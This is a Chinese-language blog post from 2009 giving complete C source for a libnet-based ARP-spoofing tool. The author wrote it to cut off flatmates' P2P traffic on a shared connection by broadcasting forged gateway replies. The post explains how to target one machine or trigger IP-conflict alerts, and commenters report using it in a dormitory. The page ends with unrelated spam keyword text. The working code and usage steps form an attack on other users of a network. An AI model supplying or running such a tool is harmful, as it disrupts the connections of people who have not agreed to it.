• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            Heath's Blog

            There is no end, it is just the beginning! - A Game Developer's Notes

            Using libnet to send arp package

                把本子的系統(tǒng)換成OpenSuse11.1后,發(fā)現(xiàn)與別人合用1M帶寬幾乎不能訪問網(wǎng)絡(luò),在多次聲明限制P2P下載速度無果后,想到了以前使用P2P Killer的經(jīng)驗,決定自己寫一個發(fā)送arp偽造應(yīng)答包的程序。
                P2P Killer中文名為P2P終結(jié)者,其原理是監(jiān)聽arp數(shù)據(jù)包,根據(jù)設(shè)定帶寬,利用一定的時間間隔算法發(fā)送偽造的arp應(yīng)答包。
                由于arp屬于鏈路層協(xié)議,如果利用原始套接字來做,估計半天時間完不成,所以搜索了一下,發(fā)現(xiàn)libnet是個比較成熟的網(wǎng)絡(luò)庫。libnet幾乎涵蓋了整個TCP/IP協(xié)議:


                使用libnet來構(gòu)造這么一個小應(yīng)用,應(yīng)該是小菜一碟。

                下面是source codes:

            /**
                A APR reply package sender

                @author heath(heath.luo@gmail.com)
                @date Jan. 17, 2009
                @version 0.01
            */


            #include 
            <stdio.h>
            #include 
            <libnet.h>

            #ifndef HRD_ALEN
            #define HRD_ALEN 6    ///< hardware address length
            #endif

            #ifndef PRO_ALEN
            #define PRO_ALEN 4    ///< protocol address format 
            #endif

            static u_char ucHdr_src[HRD_ALEN] = {0x11 , 0x22 , 0x33 , 0x44 , 0x55 , 0x66};
            static u_char ucHdr_dst[HRD_ALEN] = {0xff , 0xff , 0xff , 0xff , 0xff , 0xff};    ///< broadcasting by default

            static u_char ucPro_src[PRO_ALEN] = {192 , 168 , 1 , 1};
            static u_char ucPro_dst[PRO_ALEN] = {192 , 168 , 1 , 2};

            void Usage();
            void ParseParams(int argc , char** argv);
            void TestParams();
            void SendPackage();

            int main(int argc , char** argv)
            {
                ParseParams(argc , argv);
                TestParams();
                SendPackage();
            }


            void Usage()
            {
                printf(
            "-h : help\n-d : target hardware address(using \'-\' to seperate)\n-m : sender hardware address(using \'-\' to seperate)\n-i : sender ip address(using \'.\' to seperate)\n");
            }


            void ParseParams(int argc , char** argv)
            {
                
            int c;
                u_char
            * cp;
                
            int i;
                u_char bError;

                
            while((c = getopt(argc , argv , "hd:m:i:")) != -1)
                
            {
                    
            switch(c)
                    
            {
                    
            case 'h':
                        Usage();
                        
            break;
                    
            case 'd':
                        bError 
            = 0;
                        
            for(i = 1; i <= HRD_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '-')))
                            
            {
                                
            *cp++ = 0;
                                ucHdr_dst[HRD_ALEN 
            - i] = (u_char)strtol(cp , NULL , 16);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucHdr_dst[
            0= (u_char)strtol(optarg , NULL , 16);
                        
            break;
                    
            case 'm':
                        bError 
            = 0;
                        
            for(i = 1; i <= HRD_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '-')))
                            
            {
                                
            *cp++ = 0;
                                ucHdr_src[HRD_ALEN 
            - i] = (u_char)strtol(cp , NULL , 16);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucHdr_src[
            0= (u_char)strtol(optarg , NULL , 16);
                        
            break;
                    
            case 'i':
                        bError 
            = 0;
                        
            for(i = 1; i <= PRO_ALEN - 1++i)
                        
            {
                            
            if((cp = strrchr(optarg , '.')))
                            
            {
                                
            *cp++ = 0;
                                ucPro_src[PRO_ALEN 
            - i] = (u_char)atoi(cp);
                            }

                            
            else
                                bError 
            = 1;
                        }

                        
            if(bError)
                        
            {
                            printf(
            "Parameters Error!\n");
                            Usage();
                            exit(
            -1);
                        }

                        
            else
                            ucPro_src[
            0= (u_char)atoi(optarg);
                        
            break;
                    
            default:
                        Usage();
                    }

                }

            }


            void TestParams()
            {
                printf(
            "======Parameters======\n");
                printf(
            "ucHdr_src : %x , %x , %x , %x , %x , %x\n" , ucHdr_src[0] , ucHdr_src[1] , ucHdr_src[2] , ucHdr_src[3] ,ucHdr_src[4] , ucHdr_src[5]);
                printf(
            "ucHdr_dst : %x , %x , %x , %x , %x , %x\n" , ucHdr_dst[0] , ucHdr_dst[1] , ucHdr_dst[2] , ucHdr_dst[3] ,ucHdr_dst[4] , ucHdr_dst[5]);
                printf(
            "ucPro_src : %x , %x , %x , %x\n" , ucPro_src[0] , ucPro_src[1] , ucPro_src[2] , ucPro_src[3]);
                printf(
            "ucPro_dst : %x , %x , %x , %x\n" , ucPro_dst[0] , ucPro_dst[1] , ucPro_dst[2] , ucPro_dst[3]);
                printf(
            "======End=====\n");
            }


            void SendPackage()
            {
                libnet_t
            * pLibnet = NULL;
                
            char strError[LIBNET_ERRBUF_SIZE];
                libnet_ptag_t ptArp 
            = 0;
                libnet_ptag_t ptEth 
            = 0;

                pLibnet 
            = libnet_init(LIBNET_LINK , "eth0" , strError);
                
            if(!pLibnet)
                
            {
                    printf(
            "Libnet Error in libnet_init:%s\n" , strError);
                    exit(
            -1);
                }


                ptArp 
            = libnet_build_arp(ARPHRD_ETHER , ETHERTYPE_IP , 
                    HRD_ALEN , PRO_ALEN , 
                    ARPOP_REPLY , 
                    ucHdr_src , ucPro_src ,
                    ucHdr_dst , ucPro_dst ,
                    NULL , 
            0 ,
                    pLibnet ,
                    ptArp);
                
            if(ptArp < 0)
                
            {
                    printf(
            "Libnet Error in libnet_build_arp!\n");
                    exit(
            -1);
                }


                ptEth 
            = libnet_build_ethernet(ucHdr_dst , ucHdr_src ,
                    ETHERTYPE_ARP , NULL , 
            0 , pLibnet , ptEth);
                
            if(ptEth < 0)
                
            {
                    printf(
            "Libnet Error in libnet_build_ethernet!\n");
                    exit(
            -1);
                }

                
                
            while(1)
            {
                
            if(libnet_write(pLibnet) < 0)
                
            {
                    printf(
            "Libnet Error in libnet_write!\n");
                    exit(
            -1);
                }

                sleep(
            5);
            }

                libnet_destroy(pLibnet);
            }


                由于ARP處于link layer,所以目標(biāo)協(xié)議地址(由ucPro_dst給出)是沒用的。對于ARP數(shù)據(jù)包格式的詳細(xì)說明,可以參考《TCP-IP詳解卷1》第4章。
                該程序缺省情況下是偽造網(wǎng)關(guān)(192.168.1.1)的MAC地址廣播給網(wǎng)段內(nèi)所有機器。如果想針對特定機器發(fā)送,可以通過-d來指定其MAC地址:
                arphacker -d <目標(biāo)機MAC地址> -m <欲偽造的arp應(yīng)答發(fā)送方MAC地址> -i <欲偽造的arp應(yīng)答發(fā)送方IP地址>
                利用ping+arp命令獲得對方的MAC地址后,每隔一定時間發(fā)送偽造網(wǎng)關(guān)的MAC地址,可使對方的大量P2P數(shù)據(jù)包找不到北,從而給自己留出帶寬。
                如果你希望給予對方提示,讓其彈出“IP地址沖突”氣球(windows平臺有效),可以將-m后的參數(shù)改為一個與目標(biāo)機不一樣的MAC地址,而-i給出目標(biāo)機的IP。
                下圖為在虛擬機上運行的截圖:


            NOTE: 本人開發(fā)此程序?qū)崒俦槐茻o奈,在連打開網(wǎng)頁、上QQ的基本權(quán)力被剝奪之后,決定拿起自己手中之劍,維護(hù)自己的權(quán)益。昨天晚上,使用了一下,可以上網(wǎng)了,這也算是寫代碼帶來的樂趣吧。

            參考文獻(xiàn):
            [1] libnet. http://www.packetfactory.net/libnet/

            posted on 2009-01-18 16:28 Heath 閱讀(2081) 評論(4)  編輯 收藏 引用 所屬分類: Network

            Feedback

            # re: Using libnet to send arp package 2009-01-19 09:23 J.A.M

            代碼看不懂,
            對網(wǎng)絡(luò)不了解,學(xué)習(xí)...  回復(fù)  更多評論   

            # re: Using libnet to send arp package 2009-05-17 16:45 asdrtf

            很好用,我用宿舍的電腦試了一下,不錯,包括虛擬機在內(nèi)都有!  回復(fù)  更多評論   

            # re: Using libnet to send arp package 2009-07-30 11:22 evoup

            是ARP攻擊吧,這都被你想到了,用此法攻擊網(wǎng)上鄰居,汗~  回復(fù)  更多評論   

            # re: Using libnet to send arp package 2009-12-05 21:08 parkerzhu

            好文,學(xué)習(xí)了,有空GUI化一下^_^  回復(fù)  更多評論   


            只有注冊用戶登錄后才能發(fā)表評論。
            網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


            大伊人青草狠狠久久| 色综合久久夜色精品国产| 99久久国产综合精品麻豆| 99热精品久久只有精品| 欧美日韩成人精品久久久免费看| 久久久久久噜噜精品免费直播| 亚洲国产另类久久久精品小说 | 国产福利电影一区二区三区久久久久成人精品综合 | 99久久婷婷国产综合精品草原| 国内精品伊人久久久久影院对白| 精品久久人人爽天天玩人人妻| 丰满少妇人妻久久久久久| 久久91亚洲人成电影网站| 久久精品国产欧美日韩| 亚洲人成无码网站久久99热国产| 久久99精品久久久久久| 亚洲精品tv久久久久久久久久| 国产成年无码久久久久毛片| 久久免费高清视频| 久久久久免费精品国产| 日本免费一区二区久久人人澡| 婷婷久久久亚洲欧洲日产国码AV | 久久久综合香蕉尹人综合网| 一本色道久久88精品综合| 久久精品国产一区二区 | 韩国三级中文字幕hd久久精品| 亚洲综合久久久| 热久久这里只有精品| 国产婷婷成人久久Av免费高清| 97久久婷婷五月综合色d啪蜜芽 | 久久精品成人免费观看97| 国产午夜免费高清久久影院 | 久久人妻少妇嫩草AV蜜桃| 精品久久8x国产免费观看| 亚洲精品高清国产一线久久| 久久精品人妻一区二区三区| 99热都是精品久久久久久| 久久精品男人影院| 国产精品VIDEOSSEX久久发布| 国产激情久久久久影院小草| 久久被窝电影亚洲爽爽爽|